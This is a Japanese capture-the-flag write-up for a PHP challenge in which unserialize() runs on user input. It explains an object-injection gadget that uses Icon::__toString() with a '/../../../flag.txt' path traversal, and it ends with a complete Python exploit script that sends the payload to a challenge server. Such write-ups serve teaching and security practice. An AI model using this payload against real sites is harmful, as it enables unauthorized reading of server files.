Challenge

serialized パラメータを base64 decode して unserialize() する PHP Web 問題 トップレベルで User 型かどうかだけを確認しており、内部プロパティの型や値は検証されない

<?php
...
class Icon {
    public $path;
...
    public function __toString(): string
    {
        $contents = file_get_contents(__DIR__ . $this->path);
        if ($contents === false) {
            return '';
        }
        return 'data:image/png;base64,' . base64_encode($contents);
    }
}

function h($value): string
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

...
if (!empty($_POST['serialized'])) {
    $decoded = base64_decode($_POST['serialized'], true);
    if ($decoded !== false) {
        $user = unserialize($decoded);
    }
    if ($user instanceof User) {
        $serialized = $_POST['serialized'];
    } else {
        $user = null;
    }
    ...
}
...
<h1><?= h($user->name) ?></h1>

Solution

問題は PHP Object Injection__toString() gadget の組み合わせ

そのため、User->nameIcon(path="/../../../flag.txt") を入れた User を送ると、画面描画時の h($user->name)/flag.txt が読まれ、data:image/png;base64,... として h1 に表示される。そこに含まれる base64 を decode すればフラグが得られる

pythonではphpserialize でオブジェクトをそのまま組み立てることができる

Final Script

import base64
import re
import urllib.parse
import urllib.request

from phpserialize import dumps, phpobject

URL = "<http://34.170.146.252:28309/>"

user = phpobject("User", {
    "name": phpobject("Icon", {
        "path": "/../../../flag.txt",
    }),
    "title": "x",
    "summary": "x",
    "skills": "x",
    "iconType": "A",
})

payload = base64.b64encode(dumps(user)).decode()
req = urllib.request.Request(
    URL,
    data=urllib.parse.urlencode({"serialized": payload}).encode(),
    method="POST",
)
html = urllib.request.urlopen(req).read().decode()
flag_b64 = re.search(r"<h1>data:image/png;base64,([^<]+)</h1>", html).group(1)
print(base64.b64decode(flag_b64).decode())